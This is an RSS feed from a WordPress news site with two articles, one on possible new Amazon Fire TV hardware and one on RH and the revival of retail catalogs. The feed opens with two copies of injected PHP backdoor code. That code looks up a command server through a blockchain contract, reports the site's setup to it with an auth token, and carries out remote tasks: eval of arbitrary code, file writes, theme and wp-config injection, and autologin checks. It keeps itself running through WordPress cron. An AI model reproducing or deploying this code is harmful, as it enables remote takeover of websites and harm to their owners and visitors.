// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); hardware – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 21 Sep 2022 12:39:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png hardware – Brief News https://briefnews.eu 32 32 Is new Fire TV hardware on the way at Amazon’s fall event? https://briefnews.eu/is-new-fire-tv-hardware-on-the-way-at-amazons-fall-event/ https://briefnews.eu/is-new-fire-tv-hardware-on-the-way-at-amazons-fall-event/#respond Wed, 21 Sep 2022 12:39:15 +0000 https://briefnews.eu/is-new-fire-tv-hardware-on-the-way-at-amazons-fall-event/ We’ve already taken a look at what we hope to see from Amazon at its fall event — scheduled virtually for September 28. It’s Amazon, so undoubtedly there will be a ton of smart home-type stuff at the ready.

But what about Amazon Fire TV? Are there new sticks on the horizon? Maybe a new Fire TV Cube?

Simple answer? We don’t know. Nothing has leaked ahead of the event.

Can we glean any insight from the current state of Fire TV devices? That’s another matter altogether. So let’s take a look at the landscape when it comes to the big devices — the Fire TV Cube, and various Fire TV Sticks — and whether we can expect something new on September 28.

Amazon Fire TV Cube on a table with a TV in the background.

Fire TV Cube — last updated in 2019

This is the biggest thing we’re looking for in terms of Fire TV at the September 28 event. The current generation of Fire TV Cube is, by tech standards, pretty ancient. This model — the second in the Fire TV Cube line — was released in 2019. That fact in and of itself is enough to warrant speculation that it could be ripe for an update.

But the Fire TV Cube is a curious beast. Unlike the less-expensive Fire TV sticks, the Cube has a microphone array built in, and that allows you to control things with hands-free voice commands.

The question, then, is whether that feature is enough to justify an update to the hardware. For Amazon, it should be a relatively easy matter of looking at sales and usage numbers. Are enough people buying the Fire TV Cube — which retails for roughly twice as much as the Fire TV Stick 4K Max — to justify a new one? And is hands-free Alexa actually being used enough to also justify the more expensive hardware?

That a three-year-old model remains for sale in 2022 could be one answer to that question. But if we don’t see a new Fire TV Cube on September 28, that could be another answer.

Two Amazon Fire TV Stick 4K Max sticks in hand.
Phil Nickinson/Digital Trends

The other Fire TV sticks

There are four versions of Amazon Fire TV Stick currently available. The Fire TV Stick 4K Max is the most recent, having been released in October 2021. That’s followed by the third-generation Fire TV Stick and Fire TV Stick Lite (they both top out at 1080p) in 2020.

Then there’s the Fire TV Stick 4K, which dates all the way back to 2018. That’s an interesting one because when the Fire TV Stick 4K max was released last year, Amazon said it wasn’t supplanting the Fire TV Stick 4K — even though there’s absolutely no reason why you shouldn’t just go ahead and pay the extra $ 5 for the Max. (If only for the newer processor, extra RAM, and better Wifi support.)

The truth is that any of the Fire TV Sticks could see an update this fall. Or none of them could. Or the original Fire TV Stick 4K could finally be phased out. The simple fact is that we don’t know.

]]> https://briefnews.eu/is-new-fire-tv-hardware-on-the-way-at-amazons-fall-event/feed/ 0 Why the Restoration Hardware Catalog Won’t Die https://briefnews.eu/why-the-restoration-hardware-catalog-wont-die/ https://briefnews.eu/why-the-restoration-hardware-catalog-wont-die/#respond Wed, 14 Sep 2022 09:51:41 +0000 https://briefnews.eu/why-the-restoration-hardware-catalog-wont-die/ When you enter the RH (formerly Restoration Hardware) megastore in New York City’s Meatpacking District, you might think it’s a place to buy furniture. Technically it is, with tens of thousands of square feet filled with dining-room sets and king-size beds and couches, upholstered in shades of gray and beige and beiger, and accessorized with plush rugs and metal-armed lamps. Or maybe you’ll mistake it for a hotel lobby, with its high ceilings, ample seating, and smiling concierge.

But on either side of the store’s broad central path, you’ll see its true spiritual, if not practical, purpose: as a temple to the high-end furniture chain’s infamous “source books.” On twin circular tables large enough for an extended family’s Thanksgiving dinner (yours for $ 7,995 each), eight different editions sit in neat stacks and offer inspiration tailored to ski chalets, beach getaways, or nurseries for rich babies, depending on the tome. Bathed in golden light from enormous $ 12,000 chandeliers, the gods of direct-mail marketing beckon enticingly from their “carbonized split bamboo” altars.

The biggest of RH’s 2019 catalogs was 730 glossy pages—from a few feet away, you might think it’s the September issue of Vogue. The company would not reveal how much it spends on the lavish compendiums, but in 2012, an industry expert estimated that they would require a multimillion-dollar budget, with each individual book costing as much as $ 3 to print and ship—a figure that doesn’t include the tab for photography or page design. RH’s catalogs, and its price points, were similar to Pottery Barn’s and Crate & Barrel’s until the late aughts, when the source books and opulently appointed stores began to be introduced. Both are part of what longtime Chairman and CEO Gary Friedman has described as a strategy to project abundance and turn the heads of wealthy customers; apparently, it’s worked. In 2001, the company was teetering on the edge of bankruptcy. While there have been bumps along the way, RH’s sales since then have increased dramatically, and in December its stock price hit an all-time high.

[Read: The new trophies of domesticity]

All the pageantry for catalogs might seem puzzling, given that print media and retail stores are struggling to compete with the infotainment hub of the smartphone. But although the number of catalogs mailed in America has fallen since its high of 19 billion in 2007, an estimated 11.5 billion were still sent in 2018. As retailers become ever more desperate to find ways to sell their stuff without tithing to the tech behemoths, America might be entering a golden age of the catalog.

“The rumors of my demise are greatly exaggerated,” says Hamilton Davison, the executive director of the American Catalog Mailers Association, which advocates for things like favorable postage rates and tax rules. “Isn’t that what Mark Twain said?” In the late 2000s, a change in federal regulation raised mailing prices for catalogs, and as online shopping accelerated in the years afterward, a lot of companies abandoned catalogs in favor of email and social-media strategies targeting younger consumers. Those retailers included companies known for their direct-mail products, such as JCPenney, whose catalog had figured prominently in its branding since 1963 but was discontinued in 2010.

Five years later, though, the JCPenney catalog was back, in defeated recognition that the physical world still matters. “You can’t make me open your email, you can’t make me open your website, you can’t make me go to your retail store, but you can send a large-format mail piece I have to pick up,” Davison says. “It’s invasive, but it’s welcome.” Davison has a vested interest in the future of the format, of course, but his claims are borne out by research suggesting that even though catalogs typically arrive unbidden, consumers find them less presumptuous and irritating than marketing emails. “The internet is too much like work,” Davison says, while catalogs feel more like play. “The internet is great if you know what you’re looking for,” he adds, “but it’s a lousy browsing vehicle.” Instead of being followed around online for days by ads for a product you already ordered (or considered and ruled out), you can peruse catalogs at your leisure and disengage fully when you’re done. It’s so analog, it almost feels wholesome.

From September 2018: What it’s like to wallow in your own Facebook data

Around the same time that JCPenney was returning to mailboxes, catalogs began gaining favor among newer companies. “You can think about a catalog as a push versus a pull,” says Matt Krepsik, the global head of analytics for Nielsen’s marketing-effectiveness arm. “On the internet, I just have to hope that Matt discovers my website. When I send Matt a catalog, I’m reaching out to him one-to-one.”

Another benefit: Catalog-mailers can “prospect” by sending their books to whomever they choose, but most email-marketing services require retailers to gain consent from recipients. That’s partly because sending marketing emails without permission is illegal in some countries and partly because it’s against the rules of some internet- and email-service providers—businesses risk having everything they send algorithmically disregarded as spam.

Although the average catalog costs about a dollar per copy to produce and ship, compared with pennies per email, Krepsik says that they’re particularly effective at prompting large purchases (up to twice as expensive as those made by noncatalog shoppers) and luring back customers after first purchases. Higher receipts and consumer loyalty are exactly what a plucky upstart needs to become a standard-bearer—or for a long-standing business to fight back against Amazon.

The story of the Vermont Country Store is the opposite of the now-familiar cautionary tales of businesses too slow to cater to the desires of youth. “We were still printing a black-and-white catalog in 2000,” says Eliot Orton, one of three brothers who now own the business started by their grandfather in 1946. “We slowly migrated to color, even doing a watercolor treatment to the sketches we were doing at the time.” The store’s catalog, sent seasonally, with special editions for the holidays, is now full of color photography, but no one would mistake it for a concession to American marketers’ obsession with youth. Its comfy nightgowns, flannel bed linens, and old-school candies and baked goods are straight out of a Norman Rockwell fantasia.

Not only does the company curate its products for an older demographic, but the structure of its business, which still allows people to order by phone or send in a form with a check, could have easily become a thing of the past. A substantial number of Americans, however, still lack reliable high-speed internet or credit services, and many older people just don’t trust the internet, a suspicion that’s arguably justified. “We spent the last 30 years agonizing over whether there was a cliff, and whether the audience we were serving would evaporate and not be replaced,” Cabot Orton says. But new customers keep aging into the store’s market. You don’t have to be very old, after all, to grow tired of trying to keep up with technology—just ask any 30-something American still trying to decide whether to download TikTok. No one has to be taught how to flip through a catalog.

Even if the majority of a company’s orders are made online, as the Vermont Country Store’s now are, catalogs provide an important opportunity for businesses whose appeal goes beyond super-fast service at super-low prices. The store is a family business whose employees, from photographers to warehouse workers, all live nearby. The brothers often turn up in the catalog, modeling plaid shirts, and everyone picks up shifts answering phones during the busy holiday season. This is a company that constantly reminds you that it’s still possible to buy some of what you need from people who aren’t trying to eliminate competitors or extract every last bit of value from employees or colonize the moon. That kind of context is lost entirely when a nightgown appears in Google’s shopping tab, alongside less expensive alternatives from Walmart.

A host of internet-first start-ups, such as the makeup brand Glossier and the menswear company Bonobos, have boarded the catalog bandwagon in the past decade. These companies had thrived on direct-to-consumer websites and social-media advertising but needed new strategies to make a more complete case for their business.

[Read: I gave up and let Instagram shop for me]

